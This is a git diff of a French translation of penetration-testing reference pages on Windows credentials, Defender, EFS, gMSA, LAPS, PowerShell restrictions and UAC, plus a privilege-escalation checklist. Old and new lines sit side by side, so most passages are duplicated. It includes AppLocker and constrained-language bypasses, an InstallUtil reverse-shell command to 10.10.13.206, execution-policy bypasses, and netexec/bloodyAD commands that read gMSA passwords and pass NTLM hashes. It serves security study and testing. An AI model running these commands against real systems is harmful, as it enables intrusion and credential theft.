- **L'application stricte des DLL est très rarement activée** en raison de la charge supplémentaire que cela peut imposer au système, et de la quantité de tests nécessaires pour s'assurer que rien ne casse. Ainsi, utiliser des **DLLs comme portes dérobées aidera à contourner AppLocker**.
- Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner AppLocker. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- **DLL enforcement very rarely enabled** en raison de la charge supplémentaire que cela peut imposer au système, et du volume de tests nécessaires pour s'assurer que rien ne casse. Ainsi, utiliser des **DLLs comme portes dérobées aidera à contourner AppLocker**.
- Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner AppLocker. Pour plus d'infos, voir : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Stockage des identifiants
### Security Accounts Manager (SAM)
### Gestionnaire des comptes de sécurité (SAM)
Les identifiants locaux sont présents dans ce fichier, les mots de passe y sont hachés.
### Local Security Authority (LSA) - LSASS
### Autorité de sécurité locale (LSA) - LSASS
Les **identifiants** (hachés) sont **stockés** dans la **mémoire** de ce sous-système pour des raisons d'authentification unique (Single Sign-On).\
**LSA** gère la **politique de sécurité locale** (politique de mots de passe, permissions des utilisateurs...), **l'authentification**, **les jetons d'accès**...\
Le LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communicera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine.
Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons d'authentification unique.\
**LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **l'authentification**, les **jetons d'accès**...\
C'est LSA qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et qui **communicatera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine.
Les **identifiants** sont **stockés** dans le **processus LSASS** : tickets Kerberos, hashes NT et LM, mots de passe facilement décryptés.
Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hashs NT et LM, mots de passe facilement décryptables.
### LSA secrets
### Secrets LSA
Le LSA peut enregistrer sur disque certains identifiants :
LSA peut enregistrer sur le disque certains identifiants :
- Mot de passe du compte ordinateur de l'Active Directory (contrôleur de domaine inaccessible).
- Mots de passe des comptes des services Windows
@ -65,15 +65,15 @@ Le LSA peut enregistrer sur disque certains identifiants :
### NTDS.dit
C'est la base de données de l'Active Directory. Elle n'est présente que sur les contrôleurs de domaine.
C'est la base de données de l'Active Directory. Elle est présente uniquement sur les contrôleurs de domaine.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) est un antivirus disponible dans Windows 10 et Windows 11, et dans certaines versions de Windows Server. Il **bloque** des outils de pentesting courants tels que **`WinPEAS`**. Cependant, il existe des moyens de **contourner ces protections**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) est un antivirus disponible dans Windows 10 et Windows 11, ainsi que dans les versions de Windows Server. Il **bloque** des outils pentesting courants tels que **`WinPEAS`**. Cependant, il existe des moyens de **contourner ces protections**.
### Check
### Vérification
Pour vérifier le **statut** de **Defender** vous pouvez exécuter le cmdlet PS **`Get-MpComputerStatus`** (vérifiez la valeur de **`RealTimeProtectionEnabled`** pour savoir si c'est actif) :
Pour vérifier **l'état** de **Defender** vous pouvez exécuter le cmdlet PS **`Get-MpComputerStatus`** (vérifiez la valeur de **`RealTimeProtectionEnabled`** pour savoir s'il est actif) :
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -103,19 +103,19 @@ sc query windefend
```
## Système de fichiers chiffré (EFS)
EFS sécurise les fichiers via le chiffrement en utilisant une **clé symétrique** appelée **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le flux de données alternatif $EFS du fichier chiffré. Lorsqu'une décryption est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK depuis le flux $EFS. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS protège les fichiers par chiffrement en utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le flux de données alternatif $EFS du fichier chiffré. Lorsqu'une décryption est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer la FEK depuis le flux $EFS. Plus de détails sont disponibles [ici](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Scénarios de déchiffrement sans action de l'utilisateur** incluent :
- Lorsqu'un fichier ou dossier est déplacé vers un système de fichiers non-EFS, comme [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), il est automatiquement déchiffré.
- Les fichiers chiffrés envoyés sur le réseau via le protocole SMB/CIFS sont déchiffrés avant la transmission.
- Lorsque des fichiers ou dossiers sont déplacés vers un système de fichiers non-EFS, comme [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), ils sont automatiquement déchiffrés.
- Les fichiers chiffrés envoyés sur le réseau via le protocole SMB/CIFS sont déchiffrés avant transmission.
Cette méthode de chiffrement permet un **accès transparent** aux fichiers chiffrés pour le propriétaire. Cependant, changer simplement le mot de passe du propriétaire et se reconnecter ne permet pas de déchiffrer.
Cette méthode de chiffrement permet un **accès transparent** aux fichiers chiffrés pour le propriétaire. Cependant, simplement changer le mot de passe du propriétaire et se connecter ne permet pas de déchiffrer les fichiers.
Points clés :
- EFS utilise une FEK symétrique, chiffrée avec la clé publique de l'utilisateur.
- Le déchiffrement utilise la clé privée de l'utilisateur pour accéder au FEK.
- La décryption utilise la clé privée de l'utilisateur pour accéder à la FEK.
- Un déchiffrement automatique se produit dans des conditions spécifiques, comme la copie vers FAT32 ou la transmission réseau.
- Les fichiers chiffrés sont accessibles au propriétaire sans étapes supplémentaires.
@ -124,13 +124,13 @@ Points clés :
Vérifier si un **utilisateur** a **utilisé** ce **service** en vérifiant si ce chemin existe : `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Vérifier **qui** a **accès** au fichier en utilisant cipher /c \<file\>
You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
Vous pouvez aussi utiliser `cipher /e` et `cipher /d` dans un dossier pour **chiffrer** et **déchiffrer** tous les fichiers
### Déchiffrement des fichiers EFS
#### Obtenir le compte SYSTEM
#### En tant que SYSTEM
Cette méthode requiert que l'**utilisateur victime** ait un **processus** en cours d'exécution sur l'hôte. Si c'est le cas, en utilisant une session `meterpreter` vous pouvez vous faire passer pour le token du processus de l'utilisateur (`impersonate_token` depuis `incognito`). Ou vous pouvez simplement `migrate` vers le processus de l'utilisateur.
Cette méthode nécessite que l'utilisateur victime exécute un processus sur l'hôte. Si c'est le cas, en utilisant une session `meterpreter` vous pouvez usurper le token du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pouvez simplement `migrate` vers le processus de l'utilisateur.
#### Connaître le mot de passe de l'utilisateur
@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft a développé les **Group Managed Service Accounts (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures IT. Contrairement aux comptes de service traditionnels qui ont souvent l'option "**Password never expire**" activée, les gMSA offrent une solution plus sécurisée et plus facile à gérer :
Microsoft a développé les **Group Managed Service Accounts (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures informatiques. Contrairement aux comptes de service traditionnels qui ont souvent l'option "**Password never expire**" activée, les gMSA offrent une solution plus sécurisée et plus facile à gérer :
- **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique de domaine ou d'ordinateur. Ce processus est géré par le Key Distribution Service (KDC) de Microsoft, éliminant le besoin de mises à jour manuelles du mot de passe.
- **Sécurité renforcée** : ces comptes sont immunisés contre les lockouts et ne peuvent pas être utilisés pour des connexions interactives, renforçant ainsi leur sécurité.
- **Support multi-hôte** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour des services exécutés sur plusieurs serveurs.
- **Possibilité pour les tâches planifiées** : contrairement aux managed service accounts, les gMSA supportent l'exécution de tâches planifiées.
- **Gestion simplifiée des SPN** : le système met automatiquement à jour le Service Principal Name (SPN) lorsqu'il y a des changements dans les attributs sAMaccount de l'ordinateur ou le nom DNS, simplifiant la gestion des SPN.
- **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique du domaine ou de l'ordinateur. Ce processus est géré par le Key Distribution Service (KDC) de Microsoft, éliminant le besoin de mises à jour manuelles du mot de passe.
- **Sécurité renforcée** : ces comptes sont immunisés contre les verrouillages et ne peuvent pas être utilisés pour des connexions interactives.
- **Support multi-hôtes** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour des services exécutés sur plusieurs serveurs.
- **Capacité pour les tâches planifiées** : contrairement aux managed service accounts, les gMSA prennent en charge l'exécution de tâches planifiées.
- **Simplification de la gestion des SPN** : le système met automatiquement à jour le Service Principal Name (SPN) lorsqu'il y a des modifications des attributs sAMaccount de l'ordinateur ou du nom DNS, simplifiant la gestion des SPN.
Les mots de passe des gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont automatiquement réinitialisés tous les 30 jours par les Domain Controllers (DCs). Ce mot de passe, un blob de données chiffrées connu sous le nom [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par des administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, garantissant un environnement sécurisé. Pour accéder à cette information, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Sealing & Secure'.
Les mots de passe des gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont réinitialisés automatiquement tous les 30 jours par les Domain Controllers (DCs). Ce mot de passe, un blob de données chiffrées connu sous le nom de [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par les administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, garantissant un environnement sécurisé. Pour accéder à cette information, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -159,25 +159,25 @@ Vous pouvez lire ce mot de passe avec [**GMSAPasswordReader**](https://github.co
```
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Consultez également cette [web page](https://cube0x0.github.io/Relaying-for-gMSA/) pour savoir comment effectuer un **NTLM relay attack** pour **read** le **password** de **gMSA**.
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
### Abuser du ACL chaining pour read gMSA managed password (GenericAll -> ReadGMSAPassword)
### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
Dans de nombreux environnements, des utilisateurs à faibles privilèges peuvent pivoter vers les secrets gMSA sans compromettre le DC en abusant d'ACL d'objet mal configurées :
Dans de nombreux environnements, des utilisateurs à faible privilège peuvent pivoter vers les secrets gMSA sans compromettre le DC en abusant des ACL d'objet mal configurées :
- Un groupe que vous pouvez contrôler (par ex., via GenericAll/GenericWrite) se voit accorder `ReadGMSAPassword` sur un gMSA.
- En vous ajoutant à ce groupe, vous héritez du droit de read le blob `msDS-ManagedPassword` du gMSA via LDAP et d'en dériver des NTLM credentials utilisables.
- Un groupe que vous pouvez contrôler (p. ex., via GenericAll/GenericWrite) se voit accorder `ReadGMSAPassword` sur un gMSA.
- En vous ajoutant à ce groupe, vous héritez du droit de read le blob `msDS-ManagedPassword` du gMSA via LDAP et de dériver des credentials NTLM utilisables.
Typical workflow:
Flux de travail typique :
1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
1) Découvrez le chemin avec BloodHound et marquez vos foothold principals comme Owned. Recherchez des edges comme :
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Add yourself to the intermediate group you control (example with bloodyAD):
2) Ajoutez-vous au groupe intermédiaire que vous contrôlez (exemple avec bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Lire le mot de passe gMSA géré via LDAP et en déduire le hash NTLM. NetExec automatise l'extraction de `msDS-ManagedPassword` et la conversion en NTLM :
3) Lire le mot de passe gMSA géré via LDAP et dériver le hash NTLM. NetExec automatise l'extraction de `msDS-ManagedPassword` et la conversion en NTLM :
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
@ -189,16 +189,16 @@ netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Remarques:
- Les lectures LDAP de `msDS-ManagedPassword` nécessitent un sealing (p. ex., LDAPS/sign+seal). Les outils gèrent cela automatiquement.
- Les gMSAs se voient souvent accorder des droits locaux comme WinRM ; validez l'appartenance aux groupes (p. ex. : Remote Management Users) pour planifier lateral movement.
- Si vous avez seulement besoin du blob pour calculer le NTLM vous-même, voir la structure MSDS-MANAGEDPASSWORD_BLOB.
Notes:
- Les lectures LDAP de `msDS-ManagedPassword` nécessitent sealing (e.g., LDAPS/sign+seal). Les outils gèrent cela automatiquement.
- Les gMSAs sont souvent dotés de droits locaux comme WinRM ; validez l'appartenance aux groupes (e.g., Remote Management Users) pour planifier les mouvements latéraux.
- Si vous avez seulement besoin du blob pour calculer vous-même le NTLM, voyez la structure MSDS-MANAGEDPASSWORD_BLOB.
## LAPS
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
La Local Administrator Password Solution (LAPS), disponible en téléchargement depuis [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe Administrator locaux. Ces mots de passe, qui sont **randomized**, uniques, et **regularly changed**, sont stockés centralement dans Active Directory. L'accès à ces mots de passe est restreint via des ACLs aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la possibilité de lire les mots de passe Administrator locaux est fournie.
{{#ref}}
@ -207,7 +207,7 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **restreint fortement de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des COM objects, n'autorisant que les .NET types approuvés, les XAML-based workflows, les PowerShell classes, et plus encore.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des COM objects, l'autorisation uniquement des .NET types approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
### **Vérifier**
```bash
@ -219,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode
#Easy bypass
Powershell -version 2
```
Dans les versions actuelles de Windows ce bypass ne fonctionnera pas mais vous pouvez utiliser[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Pour le compiler, vous devrez peut-être** **pour** _**Ajouter une référence**_ -> _Parcourir_ -> _Parcourir_ -> ajouter `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` et **changer le projet en .Net4.5**.
Sur les versions actuelles de Windows ce contournement ne fonctionne pas, mais vous pouvez utiliser[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Pour le compiler, vous devrez peut-être** **de** _**Ajouter une référence**_ -> _Parcourir_ -> _Parcourir_ -> ajouter `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` et **changer le projet en .Net4.5**.
#### Bypass direct:
#### Contournement direct :
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **execute Powershell** code dans n'importe quel processus et bypass the constrained mode. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner le constrained mode. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS Execution Policy
## Politique d'exécution PS
Par défaut, il est défini sur **restricted.** Principales façons de bypass this policy:
Par défaut, elle est définie sur **restricted.** Principales méthodes pour contourner cette politique :
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -254,39 +254,39 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
Plus d'informations disponibles [ici](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Interface Security Support Provider (SSPI)
C'est l'API qui peut être utilisée pour authentifier les utilisateurs.
Est l'API permettant d'authentifier les utilisateurs.
Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode privilégiée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé ; ces protocoles d'authentification sont appelés Security Support Provider (SSP), se trouvent sur chaque machine Windows sous forme de DLL et les deux machines doivent prendre en charge le même SSP pour pouvoir communiquer.
Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode privilégiée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé ; ces protocoles d'authentification sont appelés Security Support Provider (SSP), sont présents dans chaque machine Windows sous forme de DLL et les deux machines doivent supporter le même pour pouvoir communiquer.
### Principaux SSP
### Principaux SSPs
- **Kerberos**: Le préféré
- **Kerberos** : Le préféré
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** et **NTLMv2**: Pour des raisons de compatibilité
- **NTLMv1** and **NTLMv2** : Pour des raisons de compatibilité
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Serveurs web et LDAP, mot de passe sous forme d'un hash MD5
- **Digest** : serveurs Web et LDAP, mot de passe sous forme de hash MD5
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL et TLS
- **Schannel** : SSL et TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant le protocole par défaut)
- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant celui par défaut)
- %windir%\Windows\System32\lsasrv.dll
#### La négociation peut proposer plusieurs méthodes ou une seule.
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les actions nécessitant des privilèges élevés**.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les activités nécessitant des privilèges élevés**.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## Références
## References
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)

110
src/windows-hardening/checklist-windows-privilege-escalation.md
View File

@ -1,115 +1,115 @@
# Checklist - Escalade locale de privilèges Windows
# Checklist - Local Windows Privilege Escalation
{{#include ../banners/hacktricks-training.md}}
### **Meilleur outil pour rechercher les vecteurs d'escalade de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Meilleur outil pour rechercher des vecteurs de Local Windows Privilege Escalation :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Infos Système](windows-local-privilege-escalation/index.html#system-info)
- [ ] Obtenir [**informations système**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Rechercher des **exploits kernel** [**avec des scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Utiliser **Google** pour rechercher des exploits kernel
- [ ] Utiliser **searchsploit** pour rechercher des exploits kernel
- [ ] Infos intéressantes dans les [**variables d'environnement**](windows-local-privilege-escalation/index.html#environment) ?
- [ ] Mots de passe dans l’[**historique PowerShell**](windows-local-privilege-escalation/index.html#powershell-history) ?
- [ ] Infos intéressantes dans les [**paramètres Internet**](windows-local-privilege-escalation/index.html#internet-settings) ?
- [ ] [**Lecteurs**](windows-local-privilege-escalation/index.html#drives) ?
- [ ] [**Exploit WSUS**](windows-local-privilege-escalation/index.html#wsus) ?
- [ ] [**Mise à jour auto d'agents tiers / abus d'IPC**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] Obtenir les [**informations système**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Rechercher des **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Utiliser **Google** pour rechercher des **kernel exploits**
- [ ] Utiliser **searchsploit** pour rechercher des **kernel exploits**
- [ ] Infos intéressantes dans les [**env vars**](windows-local-privilege-escalation/index.html#environment) ?
- [ ] Mots de passe dans l'[**historique PowerShell**](windows-local-privilege-escalation/index.html#powershell-history) ?
- [ ] Infos intéressantes dans les [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) ?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) ?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) ?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) ?
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Vérifier les paramètres d’[**Audit**](windows-local-privilege-escalation/index.html#audit-settings) et de [**WEF**](windows-local-privilege-escalation/index.html#wef)
- [ ] Vérifier les paramètres [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) et [**WEF**](windows-local-privilege-escalation/index.html#wef)
- [ ] Vérifier [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Vérifier si [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) est actif
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) ?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) ?
- [ ] Vérifier la présence d’un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] Vérifier la présence d'un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) ?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Vérifier les **privilèges** de l’utilisateur [**actuel**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Êtes-vous [**membre d’un groupe privilégié**](windows-local-privilege-escalation/index.html#privileged-groups) ?
- [ ] Vérifier si vous avez [l’un de ces tokens activés](windows-local-privilege-escalation/index.html#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/index.html#logged-users-sessions) ?
- [ ] Vérifier [**homes des utilisateurs**](windows-local-privilege-escalation/index.html#home-folders) (accès ?)
- [ ] Vérifier la [**Politique de mot de passe**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Que contient le [**Presse-papiers**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ?
- [ ] Vérifier les **privileges** de l'utilisateur **actuel** (current) (windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/index.html#privileged-groups) ?
- [ ] Vérifier si vous avez [l'un de ces tokens activés](windows-local-privilege-escalation/index.html#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) ?
- [ ] Vérifier les [**users homes**](windows-local-privilege-escalation/index.html#home-folders) (accès ?)
- [ ] Vérifier la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Quel est le [**contenu du Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Vérifier les [**informations réseau**](windows-local-privilege-escalation/index.html#network) **actuelles**
- [ ] Vérifier les **services locaux cachés** restreints vers l’extérieur
- [ ] Vérifier les [**informations réseau**](windows-local-privilege-escalation/index.html#network) actuelles
- [ ] Vérifier les services locaux cachés restreints depuis l'extérieur
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Permissions des fichiers et dossiers des binaires des processus [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Voler des identifiants avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
- [ ] Voler des credentials avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] [Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation/index.html#permissions)
- [ ] [Pouvez-vous **modifier** le **binaire** exécuté par un **service** ?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [Pouvez-vous **modifier** le **registre** d’un **service** ?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [Pouvez-vous profiter d’un **unquoted service binary path** ?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
- [ ] Pouvez-vous **modifier un service** quelconque ? (windows-local-privilege-escalation/index.html#permissions)
- [ ] Pouvez-vous **modifier** le **binaire** exécuté par un **service** ? (windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] Pouvez-vous **modifier** le **registry** d'un **service** ? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] Pouvez-vous tirer parti d'un **unquoted service binary path** ? (windows-local-privilege-escalation/index.html#unquoted-service-paths)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
